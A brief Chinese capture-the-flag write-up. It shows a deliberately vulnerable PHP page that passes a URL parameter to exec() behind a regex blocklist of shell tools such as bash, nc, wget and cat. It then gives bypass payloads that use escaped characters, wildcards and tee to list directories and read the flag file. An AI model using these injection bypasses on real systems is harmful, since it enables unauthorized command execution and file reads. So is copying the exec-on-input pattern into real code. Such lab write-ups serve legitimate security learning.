<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}
易知exec为无回显命令,则尝试重定向 cat flag.php > flag.txt 但是>被过滤则考虑cp flag.php flag.txt何mv命令 但是cp何mv可以绕过但是没有flag文件,则考虑先查看目录并且输出。
则使用tee输出
用到tee命令:
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。构造payload:l\s ../../../../ |tee 1.txt访问1.txt得到flaaaaagggggg文件,再tac /fl????????????|tee 1.txt访问1.txt即可